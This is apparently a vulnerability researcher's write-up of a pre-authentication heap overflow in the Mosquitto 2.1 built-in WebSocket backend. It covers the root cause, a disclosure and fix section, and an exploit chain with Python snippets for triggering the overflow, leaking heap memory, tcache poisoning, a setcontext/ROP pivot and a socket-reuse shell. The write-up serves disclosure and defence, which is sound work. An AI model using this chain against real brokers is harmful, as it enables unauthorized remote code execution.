A mosquito, a mask, and four invisible bytes

Some time ago I was reading the Mosquitto 2.1 changelog and noticed something interesting: a brand new built-in WebSocket backend. Until then, if you wanted MQTT over WebSockets you had to link against libwebsockets, but 2.1 ships its own minimal implementation - no libwebsockets dependency (it still wants TLS/OpenSSL, CMake literally force-enables TLS when you select it) - and, here’s the fun part, it’s enabled by default in the CMake build.

Now, I don’t know about you, but when a mature C project grows a brand new network parser, my brain only hears one thing: fresh attack surface 🥁. New framing code, new state machine, and it has to talk to an old, battle-tested MQTT parser that has never heard of WebSocket frames. What could possibly go wrong.

Spoiler: everything. What I came back with is a pre-authentication heap overflow that I chained all the way to an interactive shell on the broker, with no credentials, on a default-deny configuration, against a PIE binary with NX, full RELRO and glibc safe-linking. No staged file, no nc, no Python on the target, no new port. Just /bin/sh and a lot of patience.

I named it MASKerade, because the whole bug exists thanks to WebSocket mask bytes masquerading as MQTT payload bytes. And yes, I promise I’ll drop the branding after this paragraph, the rest of the post is pure technical pain.

This is the full story, from the first suspicious return statement to the shell prompt. Grab a coffee, it’s a long ride.

MQTT over WebSocket in 60 seconds

Quick background so we’re on the same page. MQTT is a binary protocol: one fixed header byte, a variable-length “Remaining Length”, then the body. The Mosquitto broker has a generic packet reader that does roughly this:

read the fixed header and Remaining Length;
malloc() a buffer for the body;
call a read()-style function in a loop until the body is complete;
hand the packet to the handler.

For plain TCP connections the read function is a thin wrapper around recv(). For WebSocket connections, MQTT packets travel inside WebSocket frames, and every frame has its own little header: an opcode byte, a payload length, and - for client-to-server frames - a 4-byte masking key that’s XORed over the payload.

So the broker needs a translation layer, and in the built-in backend that’s net__read_ws() in lib/net_ws.c. The MQTT reader calls it exactly as if it were read():

/* lib/packet_mosq.c */
if(mosq->transport == mosq_t_ws){
    local__read = net__read_ws;
}else{
    local__read = net__read;
}

And here comes the contract that makes or breaks everything. The MQTT reader believes, with its whole heart, that:

a positive return value = number of application bytes copied into its buffer;
-1/EAGAIN = nothing available right now;
0 = EOF.

Keep that in mind. Everything that follows is just the exploitation of one broken promise.

The bug: counting bytes that don’t exist

So I opened lib/net_ws.c and started reading. The function keeps one variable, len, and uses it for everything it consumes:

/* lib/net_ws.c, abridged */
ssize_t net__read_ws(struct mosquitto *mosq, void *buf, size_t count)
{
    ssize_t len = 0;

    if(mosq->wsd.payloadlen == 0){
        if(mosq->wsd.opcode == UINT8_MAX){
            len = read_ws_opcode(mosq);           /* normally 1 */
            if(len <= 0) return len;
        }
        if(mosq->wsd.mask == UINT8_MAX){
            len = read_ws_payloadlen_short(mosq); /* normally 1 */
            if(len <= 0) return len;
        }
        if(mosq->wsd.mask == 1 && mosq->wsd.mask_bytes > 0){
            len = read_ws_mask(mosq);             /* 4 for a complete mask */
            if(len <= 0) return len;
        }
    }

    if(mosq->wsd.payloadlen > 0){
        len = net__read(mosq, buf, count);
        /* ...unmask buf in place... */
    }
    /* ...reset frame state... */
    return len;
}

Does it look weird, eh?? The same len is reused for the opcode byte, the length byte, the mask bytes… and the actual payload. For a normal non-empty frame, the payload read overwrites len at the end, so the function accidentally returns the right thing. Bugs that hide behind a lucky overwrite are my favorite kind, ’cause they can sit there for years.

Now ask yourself: what happens for a masked, zero-length frame? That’s a perfectly legal WebSocket frame: FIN/opcode, a length byte saying “masked, 0 bytes of payload”, and the mandatory 4-byte mask. Walk the code:

opcode consumed → len = 1;
length byte consumed → len = 1;
mask key consumed → len = 4;
payloadlen > 0 is false → nothing is copied to buf, len is not replaced;
frame state resets, return 4.

The function just ate 6 bytes of WebSocket transport metadata and reported 4 of them as MQTT application data. A textbook layer-confusion bug. I call those 4 nonexistent bytes phantom bytes, and they’re about to become the best exploitation primitive I’ve had in years.

Wrapping the counter backwards

Here’s the loop on the receiving side:

/* lib/packet_mosq.c */
while(mosq->in_packet.to_process > 0){
    read_length = local__read(
        mosq,
        &(mosq->in_packet.payload[mosq->in_packet.pos]),
        mosq->in_packet.to_process
    );
    if(read_length > 0){
        mosq->in_packet.to_process -= (uint32_t)read_length;
        mosq->in_packet.pos += (uint32_t)read_length;
    }
}

No sanity check that read_length <= to_process, ’cause a well-behaved read() must already guarantee it. Ours is not well-behaved.

So let’s play. I connect, send an MQTT CONNECT fixed header declaring a body of 1 byte… and then don’t send the body. The broker allocates a 1-byte payload buffer and waits, with pos = 0 and to_process = 1. Now I send a masked, zero-length WebSocket frame:

State	`pos`	`to_process`	Bytes actually copied
After Remaining Length = 1	0	1	0
After the empty frame returns 4	4	`1 - 4 = 0xfffffffd`	0

Beautiful. The cursor is now at payload + 4 - three bytes past a one-byte allocation - and the broker believes it still has ~4 GiB of body to read. Any real frame I send next gets written straight past the buffer.

That’s the whole bug. Three frames, pre-auth, no valid MQTT packet ever completed:

sock.sendall(masked_frame(b"\x10\x01"))   # CONNECT, Remaining Length = 1, body withheld
sock.sendall(masked_frame(b""))           # masked empty frame -> returns 4, copies 0
sock.sendall(masked_frame(b"A" * 256))    # written at payload+4, past the 1-byte buffer

Crash test dummies

First things first: prove the corruption. I built the broker with ASan, ran the three-frame poem above, and got exactly what I wanted:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1 ...
    #0 net__read_ws             lib/net_ws.c:308
    #1 packet__read_single      lib/packet_mosq.c:590

0x... is located 3 bytes to the right of 1-byte region
allocated by:
    #0 malloc
    #1 mosquitto_malloc
    #2 packet__read_single      lib/packet_mosq.c:561

ASan points at the unmasking XOR loop, but the socket receive had already targeted the out-of-bounds address. Pre-authentication heap corruption, confirmed, from a frame sequence that’s completely legal WebSocket traffic.

A crash is nice, but I didn’t spend a weekend on this for a crash. Time to talk about the heap.

Heap school: everything you need in five minutes

If you already speak tcache fluently, skip ahead. If not, stay with me for a second, ’cause the whole exploit is just four ideas.

Chunks and size classes. When Mosquitto calls malloc(879), glibc doesn’t give you exactly 879 bytes: it adds its own bookkeeping and rounds up to a 16-byte aligned chunk size. Different request sizes can land in the same size class, and this is the cheat code for the entire exploit:

Mosquitto request                          glibc chunk size
---------------------------------------    ----------------
sizeof(struct mosquitto) = 0x378           0x380
MQTT input payload of 879 bytes            0x380
MQTT input payload of 174 bytes            0x0c0
125-byte PONG packet + its metadata        0x0c0

Read those equalities twice. They mean my network input buffers can reuse memory that previously held interesting broker objects. A chunk looks like this:

Stale data. free() doesn’t erase memory, it just makes the chunk available again. If a client context is freed and a same-size packet buffer reuses the chunk, the old object’s bytes are still sitting there until new data overwrites them. Those survivors are stale data, and remember: my phantom bytes advance the MQTT parser without writing anything, so I can make the broker parse stale bytes as if a client sent them. This is not a use-after-free in the source-code sense - the bug just lets me reuse a freed allocation as a packet and then read or overwrite what follows it. Same effect, different mechanism.

Tcache. For small allocations, glibc keeps recently freed chunks in per-thread bins, one singly-linked list per size class, up to 7 entries, last-in-first-out:

free(A)               head -> A
free(B)               head -> B -> A
malloc(same size)     returns B; head -> A
malloc(same size)     returns A; head -> empty

The broker’s network loop is single-threaded, so all my connections share the same thread cache. “Heap grooming” is just opening and closing connections in a deliberate order so the next malloc() returns a chunk I can predict.

Tcache poisoning. While a chunk sits in a tcache bin, glibc stores the next-pointer in the first 8 bytes of the user area. If my overflow overwrites that word in a freed chunk, the second next malloc() returns an address of my choosing:

before:  head -> victim -> ordinary_next
after:   head -> victim -> attacker_target

malloc() #1  -> victim
malloc() #2  -> attacker_target (overlaps a live object... hello)

One catch: modern glibc (>= 2.32) has safe-linking. The stored pointer is encoded:

encoded_next = attacker_target ^ (victim_address >> 12)

So to poison a bin I first need to know the exact address of the victim chunk. ASLR doesn’t save you once that leaks - and oh boy, will it leak.

Phantom bytes, real leaks

Now the observation that turned a crash into an exploit. An empty frame moves the parser’s cursor without touching heap memory. That’s two primitives in one trench coat.

Primitive one: stale-data disclosure. I declare a valid MQTT PUBLISH with a body of 879 bytes but only send the first 3 real bytes (topic length 1, topic "x"). Then I send 219 empty frames: 219 × 4 phantom bytes = 876 “received” bytes.

DISCLOSURE_LENGTH = 876
prefix = b"\x30" + encode_varint(3 + DISCLOSURE_LENGTH) + b"\x00\x01x"
publisher.sendall(masked_frame(prefix))
publisher.sendall(masked_frame(b"") * (DISCLOSURE_LENGTH // 4))

The broker allocates an uninitialized 879-byte buffer, I overwrite only bytes 0..2, and the parser happily believes all 879 arrived. The PUBLISH handler treats bytes 3..878 as payload and forwards them to my subscriber.

The broker literally mails me 876 bytes of its own stale heap inside a normal MQTT message. Why 879? Three real bytes for the topic, and 879 rounds to the same 0x380 chunk as struct mosquitto - remember the size-class table. A freed client context and my PUBLISH buffer are the same size class, so I can disclose dead broker objects verbatim.

There’s also a Will-based variant: same trick during CONNECT parsing, then drop the connection and let the normal Will delivery reflect the stale bytes. Cute, but the PUBLISH form keeps my WebSocket actor alive, which matters later.

Primitive two: a non-destructive cursor. After the unsigned underflow, every empty frame moves pos forward by 4 and writes nothing. So instead of spraying a linear overflow through every byte between source and target (and destroying everything in between), I can walk the write cursor across live heap objects like stepping stones and do one small, precise write exactly where I want:

sock.sendall(masked_frame(b"") * (victim_offset // 4))  # silent steps
sock.sendall(masked_frame(poison))                      # the only real write

For a forward-only heap overflow, this is obscenely powerful. And I was going to need every bit of it, ’cause there was a wall waiting for me.

The wall: default-deny

Here’s the thing that almost killed the chain. My first working exploit used a subscriber to reflect those stale PUBLISH payloads… which means I needed an authenticated MQTT session. But the whole point was pre-auth, and my test config was the hostile one: explicit listeners, no allow_anonymous, no password file. My config never sets per_listener_settings, so it stays false and the global branch resolves the unset value to default-deny:

/* src/conf.c - per_listener_settings false, so the global branch runs */
if(config->security_options.allow_anonymous == -1){
    config->security_options.allow_anonymous = false;
}

Fun detail that will matter later: this branch never touches the listener’s own security_options.allow_anonymous, which stays at its unset value of -1. Remember that field - it’s exactly the one I’m going to forge.

A credential-free CONNECT just gets “not authorized”. So before going further I tried the cheap ways out, and both failed in instructive ways:

Cheap way one: flip the connection state. A nearby overwrite can change a context’s state enum so the parser stops demanding CONNECT as the first packet. PINGREQ then works… but PUBLISH and SUBSCRIBE still hit the ACL layer, which instantly rejects any context with no client id:

/* src/plugin_acl_check.c */
if(!context->id){
    return MOSQ_ERR_ACL_DENIED;
}

One enum doesn’t create an identity. Dead end.

Cheap way two: the rejected-CONNECT Will leak. The Will trick relies on an unexpected disconnect to publish the stale payload… but on failed authentication, handle__connect() clears the Will on both the error path and the cleanup path. The broker politely deletes my leak before sending it. Dead end.

So the rules were clear: I needed an information leak that lives below MQTT authentication entirely. No CONNECT, no ACL, no credentials. The answer turned out to be hiding in the WebSocket layer itself.

PONG, the traitor

WebSocket has control frames, and one of them is PING: the peer must echo the payload back in a PONG. The beautiful part? That’s transport-layer business. The built-in backend answers PINGs while it’s still waiting for MQTT data - before CONNECT, before auth, before everything.

When a PING arrives, net__read_ws() immediately allocates the future PONG packet, sized from the PING payload (max 125 bytes for a control frame), and keeps it around until the payload completes:

/* lib/net_ws.c, abridged */
if(mosq->wsd.opcode == WS_PING){
    mosq->wsd.out_packet = mosquitto_calloc(1,
        sizeof(struct mosquitto__packet) + WS_PACKET_OFFSET + mosq->wsd.payloadlen + 1);
    mosq->wsd.out_packet->packet_length = (uint32_t)mosq->wsd.payloadlen + WS_PACKET_OFFSET;
}
/* once the complete PING payload arrives: */
packet__queue(mosq, mosq->wsd.out_packet);

So the plan: send the PING header and mask but withhold the 125 payload bytes. The broker has now allocated and retained a PONG packet, frozen in time, on a connection with zero MQTT authentication. Holding an allocation this way is way more reliable than flooding kernel buffers with completed PONGs.

def start_partial_ping(sock):
    sock.sendall(b"\x89\xfd" + b"\x11\x22\x33\x44")  # PING, masked, len 125, mask... then silence

Making source and target neighbors. For the overflow source I use an incomplete MQTT CONNECT with Remaining Length 174: I send 172 real body bytes and leave 2 outstanding. Now check the size-class table again: the 174-byte input buffer and the 125-byte PONG + metadata both round to chunk size 0xc0. Same bin.

Before creating the pair, I open 16 WebSocket connections and hold one unfinished PING on each. That does two jobs: their live struct mosquitto objects drain old 0x380 tcache entries, and their retained PONGs drain old 0xc0 entries plus a practical backlog of same-size freed chunks. No grooming is a guarantee under arbitrary concurrent allocation - but in the tested environment the next 0xc0 source buffer and the next 0xc0 PONG come from one fresh, adjacent allocator run, and the exploit validates the layout from the leak before trusting it:

Fun fact: an earlier version used a 0x380 source and a 0xc0 target, and it worked… sometimes. Two independent size-class histories meant prior broker activity could desync them, and instead of an enlarged leak I’d get an ordinary 125-byte PONG. Matching both allocations to the same bin killed that assumption. Heap exploitation is 10% courage and 90% removing things you assumed.

The enlargement. After my 172 real bytes, the parser sits at pos = 0xac, to_process = 2. One empty frame: pos = 0xb0, to_process = 0xfffffffe. The PONG starts at source +0xc0, and its packet_length field lives at source +0xcc. Distance from the corrupt cursor: 0x1c = 28 bytes = exactly seven phantom steps. Then one real 4-byte write:

packet_length = 0x8000 + WS_PACKET_OFFSET

Now I complete the held PING. ws__prepare_packet() trusts the corrupted length when computing how many bytes to transmit, and packet__write() obediently sends 32 KiB starting at a PONG allocation that’s really about 0xc0 bytes. The WebSocket PONG that comes back is carrying the broker’s live heap.

Let that sink in: an out-of-bounds read, built out of the out-of-bounds write, answered by a control frame, before any MQTT packet was ever completed. The wall has a door now.

Forging the bouncer

A 32 KiB heap leak with no type information is just entropy with potential. But struct mosquitto (the per-connection context object) has a very recognizable silhouette, so I scan the leak at aligned offsets and demand several mutually reinforcing invariants:

sock is a small non-negative int;
state is inside the enum range;
listener looks like a canonical heap pointer;
hh_sock.keylen == 4 (the uthash key is the socket fd);
hh_sock.key points 4 bytes into the context, so its low nibble is 4.

# abridged pseudocode - the real checks are a page of unsexy comparisons
for base in range(4, len(data) - 0x304, 0x10):
    fd       = struct.unpack_from("<i", data, base + 0x04)[0]
    state    = struct.unpack_from("<I", data, base + 0x84)[0]
    listener = struct.unpack_from("<Q", data, base + 0x260)[0]
    key      = struct.unpack_from("<Q", data, base + 0x2f8)[0]
    keylen   = struct.unpack_from("<I", data, base + 0x300)[0]
    if fields_are_plausible(fd, state, listener, key, keylen):
        context = key - 4

I deliberately open four WebSocket contexts right after the held PONG so the scan finds them in accept order, all sharing the same listener pointer. Now I have live heap addresses, and safe-linking’s price of admission is paid.

Close context 1, then context 2 - tcache is LIFO, so the 0x380 bin is head -> context2 -> context1. The phantom cursor walks from my source buffer up to freed context 2 and rewrites its encoded next-pointer:

listener_slot   = listener + 0xc8                    # listener->security_options
listener_target = listener_slot & ~0xf               # tcache wants 16-byte alignment
encoded_next    = listener_target ^ (context_2 >> 12)
# write = phantom-cursor advance + one real frame, abridged
write(p64(encoded_next) + p64(0))                    # second word clears the tcache key

Then two actors send only an MQTT CONNECT fixed header declaring Remaining Length 879. That’s enough to trigger malloc(879) without writing a body yet:

allocation 1 -> real context 2 chunk   (context 3 owns it)
allocation 2 -> listener_target        (context 4 owns it - overlapping the live listener!)

Context 3’s buffer becomes home to a mostly-zero fake security-options object with a single meaningful byte:

fake_options = context_2 + 0x20
fake_image = bytearray(0x300)      # mostly zeros, built in context 3's buffer
fake_image[0x20 + 0x94] = 1        # fake_options->allow_anonymous = true

And context 4’s forged allocation writes fake_options into the real listener’s security_options pointer. Remember the unset -1 field from the previous section? When a fresh CONNECT arrives, mosquitto_basic_auth() (src/plugin_basic_auth.c) tests context->listener->security_options->allow_anonymous == true unconditionally, even with per_listener_settings false - so from the broker’s point of view, the WebSocket listener now has a policy object that allows anonymous clients. No config file touched, no password guessed, and the plain MQTT listener stays default-deny - I only repainted the bouncer on the WebSocket door.

Cleanup is part of the exploit. Closing those holder connections naively would crash the broker: context 3 freeing its buffer would leave the listener pointing at freed memory, and context 4’s “allocation” is an interior pointer into the listener object, which free() will not appreciate. So before teardown I use the phantom cursor one more time to zero each context’s in_packet.payload field, deliberately orphaning both allocations. A tiny memory leak in exchange for a stable broker. Fair trade.

A fresh anonymous MQTT-over-WebSocket CONNECT gets a CONNACK. We’re in - and the broker let us in itself.

Everything must be leaked

With an anonymous session, the stronger PUBLISH-based disclosure comes online, and struct mosquitto turns out to be the gift that keeps on giving. On this build:

sizeof(struct mosquitto) = 0x378        ->  chunk 0x380  (same as our 879-byte packets!)
listener      = +0x260
hh_sock.tbl   = +0x2d0   hh_sock.prev = +0x2d8   hh_sock.next = +0x2e0
hh_sock.key   = +0x2f8   hh_sock.hashv = +0x304

Groom and close a selected client context, then send a phantom PUBLISH of 879 bytes through an actor I already hold open - and my input buffer reincarnates in the freed context’s chunk, inheriting its ghost: the listener pointer, the live uthash table address, neighboring context addresses, a self-pointer, and - store this one for later - hashv, the cached Jenkins hash of the connection’s socket fd.

Defeating safe-linking for real. The phantom PUBLISH’s 3 controlled topic bytes overwrite bytes 0..2 of the freed chunk’s encoded tcache next-pointer, but bytes 3..7 survive in the leak. Meanwhile uthash gives me candidate neighbor addresses. So I just test which candidate, when re-encoded, matches the surviving tail:

matches = [c for c in (leak["prev"], leak["next"])
           if p64(c ^ (leak["source"] >> 12))[3:8] == payload[:5]]

Two unrelated metadata systems - uthash and glibc’s safe-linking - cross-identifying each other. No heap-page guessing, no debugger, no bruteforce. I love it when a plan comes together 😀.

PIE goes down too. The broker binary is PIE, so code addresses are randomized. Poison a second tcache pair to land a phantom PUBLISH over the uthash table allocation from hh_sock.tbl. The disclosure covers more than the table itself (a UT_hash_table is only 0x40 bytes): in the heap around it, at a build-specific offset, sits a pointer to the static string "client context" at PIE offset 0x5508d. Republish the surroundings, subtract the constant:

pie_base = pie_pointer - 0x5508D

No /proc, no debugger, no local access. PIE defeated over the network.

Why two poison pairs? Pair A targets listener.security_options and gets prepared early, held incomplete like a loaded spring. Pair B supplies the PIE base. Once PIE is known, Pair A’s still-open overflow writes the full fake callback graph and the held allocation commits the listener overwrite. Trying to do both with one pair is a great way to corrupt your own tcache mid-chain - ask me how I know 😔.

The callback from hell

Code execution time, and here’s the constraint: full RELRO (no GOT overwrite), NX (no shellcode), unknown libc base (no direct system() address). So instead of fighting the mitigations, I went shopping inside the broker’s own code.

Mosquitto’s main loop calls plugin__handle_tick() on every iteration, and for each listener it walks this chain:

listener + 0xc8        -> security_options
security_options + 0xa8 -> plugin_callbacks.tick
callback + 0x48         -> cb
callback + 0x50         -> userdata
callback + 0x58/+0x60   -> next_tick

I already control listener + 0xc8 from the previous stage. So I forge a whole family of fake objects inside the held victim chunk: a fake security_options pointing at a fake tick callback whose next_tick is already expired. Next event-loop iteration, the broker voluntarily calls my cb pointer with my userdata. Thanks, broker.

The callback doesn’t jump at libc - it lands mid-function inside the broker’s own plugin_v4_reload(), which uses my controlled userdata object and makes an indirect call through frame + 0x78. And what do I point that at? Inside plugin__load_v5(), right at its dlsym@plt call site. With the right field layout, the sequence behaves like:

resolved = dlsym(RTLD_DEFAULT, attacker_symbol_name);
resolved(frame);

Read it again, ’cause it’s doing a lot of work: the broker’s own imported dlsym resolves any libc function by name, at runtime, with no libc base known. No GOT overwrite, no executable memory, no libc leak. The binary brought its own resolver to the party.

Fifteen bytes is not a shell

The direct approach - resolve system and call system(frame) - works, and my first RCE did exactly that. But the resolver frame needs control fields starting at frame + 0x10, so the command string had to fit in 15 bytes. Enough for a marker like >/tmp/mr, nowhere near enough for a real shell. And I wanted a real shell. Here’s the boss fight, constraint by constraint.

Constraint: no tools on the target. A bind shell wants nc/Python/socat and a new port; a reverse shell wants egress. I wanted neither. But the broker already owns the server side of every connection I opened, and system()’s /bin/sh child inherits those file descriptors. So I reserved one accepted anonymous MQTT-over-WebSocket connection and repurposed its broker-side TCP fd as the shell’s stdin/stdout. No files, no ports, just /bin/sh - which system() needs anyway.

Constraint: which fd is it? My first prototype assumed accept-ordering on a fresh broker, which works until existing clients push your socket to fd 108. The fix is delicious: when Mosquitto inserts a context into its fd hash table, uthash caches a 32-bit Jenkins hash of the fd in hh_sock.hashv. On close, sock becomes -1 but hashv survives in the freed context… which I can already disclose. So:

open a seed connection on the plain MQTT listener (broker accepts fd N), close it;
disclose the freed context, recover HASH_JEN(N);
reimplement uthash’s exact Jenkins hash and brute-force fds below 2^20 until it matches;
immediately open the reservation connection - Linux hands it the freshly-closed lowest fd hole, so it becomes fd N.

The hash is only 32 bits so collisions are theoretically possible; the script just reports all candidates and retries with a new seed. Verified working with pre-existing clients and a three-digit broker fd.

Constraint: dash can’t count past 9. The dream command sh <&28 >&28 dies instantly: on this target /bin/sh is dash, and dash’s redirection grammar rejects multi-digit fds with Bad fd number. I could learn the fd but not say it. The bypass is to renumber before exec:

close(0)
fcntl(shell_fd, F_DUPFD, 0)   -> returns 0
system("sh >&0 2>&0")

F_DUPFD returns the lowest free descriptor at or above the third argument; after close(0) that’s 0. Dash only ever sees single-digit fd 0. Sorry dash, you never stood a chance.

Constraint: still 15 bytes. The full ROP-fd-renumber-system dance doesn’t fit in the command slot. So the first dlsym resolves setcontext, not system. The resolver calls setcontext(frame), and my fake x86-64 ucontext_t loads a fresh stack pointer and instruction pointer:

put64(image, base, frame + 0xA0, rop_stack)               # RSP
put64(image, base, frame + 0xA8, pie_base + POP_RDI_RET)  # RIP
put64(image, base, frame + 0xE0, fpstate)
struct.pack_into("<H", image, fpstate - base, 0x037F)     # x87 control word
struct.pack_into("<I", image, frame + 0x1C0 - base, 0x1F80)  # MXCSR

That floating-point state is not decoration: glibc’s setcontext restores it, and bogus x87/MXCSR values fault during the pivot. From there, a short ROP chain using only PIE gadgets and PLT entries does the whole dance:

close@plt(0)
fcntl@plt(shell_fd, F_DUPFD, 0)
dlsym@plt(RTLD_DEFAULT, "system")
system("sh >&0 2>&0")

Constraint: don’t talk too early. Before the forged tick fires, the reserved connection is still a normal broker-managed MQTT-over-WebSocket socket. Send raw id\n too soon and it never even reaches the MQTT parser: read_ws_opcode() rejects the very first byte, because 0x69 has reserved WebSocket framing bits set (0x69 & 0x70 ≠ 0) - instant EPROTO, and the broker kills my future shell channel. Mosquitto’s loop is single-threaded and system() blocks it, so I use a spare connection as a timing oracle: spam MQTT PINGREQs (properly WebSocket-framed, of course), and when the PINGRESPs stop, the broker is stuck inside system() and no longer parsing anything. Then I drop the WebSocket framing entirely and start typing raw bytes.

Constraint: my own terminal betrayed me. The most embarrassing bug of the whole project: an early bridge used tty.setraw(), and in raw mode my Enter key arrives as \r. The remote shell reads from a socket, not a tty, so nothing translates \r to \n… and every command appeared to hang forever. My automated tests injected \n directly and never noticed. The fix was to keep the local terminal in canonical mode and multiplex with a single select():

ready, _, _ = select.select([shell, 0], [], [])
if shell in ready:
    os.write(1, shell.recv(4096))
if 0 in ready:
    shell.sendall(os.read(0, 4096))

Newline conversion, local echo, backspace, Ctrl-C handling on my end - all correct, no background threads. (Remote processes still can’t receive terminal-generated signals, but that’s the no-PTY price, not a bridge bug.) Sometimes the last bug between you and a shell is your own keyboard.

Pop the shell

Before the demo, the whole chain in one picture, ’cause I know that was a lot:

Full chain, end to end, against the two-listener default-deny config (WS on 39184, MQTT on 39185, no allow_anonymous anywhere):

pre-auth default-policy bootstrap:
  source buffer:         0x00005...
  poison context:        0x00005...
  WebSocket listener:    0x00005...
  security-options slot: 0x00005...
  fake options:          0x00005...
shell fd seed 1: hash=0x29f27f7f, candidates=[28]
selected broker fd 28 for the dedicated shell channel
listener pair disclosure: {'source': ..., 'listener': ..., 'safe_link_matches': [...], ...}
PIE pair disclosure:      {'source': ..., 'listener': ..., 'safe_link_matches': [...], ...}
network-only exploit disclosures:
  derived PIE base:      0x00005...
  fake options:          0x00005...
waiting for the tick to spawn a shell on broker fd 28
event loop stalled in system(); bridging the dedicated shell channel
sh: turning off NDELAY mode

(abridged - the full run also prints both tcache pair disclosures and the fd-search details, all visible in the screenshot above)

And then, typed by a human, executed by the broker:

$ id
uid=1001(broker) gid=1002(broker) groups=1002(broker)

And since a shell is better seen than told, the actual run against the broker:

The whole thing is a single self-contained Python script, stdlib only: WebSocket framing, MQTT encoding, the PONG leak, the policy bootstrap, both poison pairs, fd recovery, the ROP image, the timing oracle and the terminal bridge. I also tested it after deliberately opening and closing 160 WebSocket upgrades plus 240 MQTT connections to dirty the allocator first - the groom, leak, validate, retry logic survived it. What I can’t guarantee is reliability on a heavily concurrent production broker; heap exploitation against a live service is a reliability game, not a mathematical proof, and anyone telling you otherwise is selling something.

Honest limitations, ’cause they matter: the channel is a socket-backed pipe, not a PTY, so full-screen programs and job control are out; the broker stays blocked inside system() until the shell exits; and the chain targets one exact build - offsets, gadgets and the ucontext_t layout move with compiler, architecture and glibc. The PIE-leak pointer placement is also allocator-layout-dependent: it held for the tested non-root startup profile, but starting the broker as root (with the privilege-drop/NSS path that follows) reshuffles the surrounding heap and the landing spot has to be re-derived. The bug, though, is present in every build that compiles the backend in, and remotely triggerable by anyone who can reach a built-in WebSocket listener.

The bite

Pre-authentication remote code execution as the broker user, no credentials, on a configuration that denies anonymous access. The minimal trigger is three WebSocket frames that any client can send before completing a single MQTT packet. Suggested severity High, CVSS 3.1 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) - AC:H because the full RCE depends on allocator grooming and build-specific code reuse; the bare pre-auth crash is considerably simpler and works anywhere the vulnerable code runs.

The vulnerable code lives in the built-in WebSocket backend (lib/net_ws.c), introduced in the 2.1 development cycle and present in stable releases 2.1.0 through 2.1.2 (and master at the time of testing). The older libwebsockets backend does not use this read path and is not affected. Important nuance: both WITH_WEBSOCKETS and WITH_WEBSOCKETS_BUILTIN default to ON in CMake, so the backend is compiled in upstream-default builds - but you still need a listener with protocol websockets configured and reachable for remote exploitation. The stock Docker config doesn’t expose one; how many real deployments do is a question for Shodan, not for my test lab.

CWE-787 (out-of-bounds write) with CWE-191 (integer underflow), plus CWE-125 for the derived out-of-bounds read.

Swatting the bug

The root fix belongs in net__read_ws(): the return value must count only bytes copied into the caller’s buffer. Header bytes, extended-length bytes and mask bytes are transport metadata and must never be reported as application data. And an empty data frame can’t just return 0, ’cause the generic reader treats zero as EOF - it should either keep reading internally until application data exists or return -1/EAGAIN, like it already does for control frames.

Then defense in depth in the generic packet parser, ’cause a valid read() implementation was also “guaranteed” here:

if(read_length > 0 && (uint64_t)read_length > mosq->in_packet.to_process){
    return MOSQ_ERR_MALFORMED_PACKET;
}

That one invariant turns any future faulty transport read into a clean error instead of an unbounded packet state. Regression tests should cover masked and unmasked zero-length frames at every parser position (before the command byte, mid Remaining Length, with 1-4 body bytes outstanding), interleaved with PING/PONG/CLOSE, under ASan/UBSan. Until patched: switch to the libwebsockets backend (WITH_WEBSOCKETS_BUILTIN=OFF), or firewall the WebSocket listener - mitigation, not a cure.

MASKerade - Phantom Bytes, Real Shell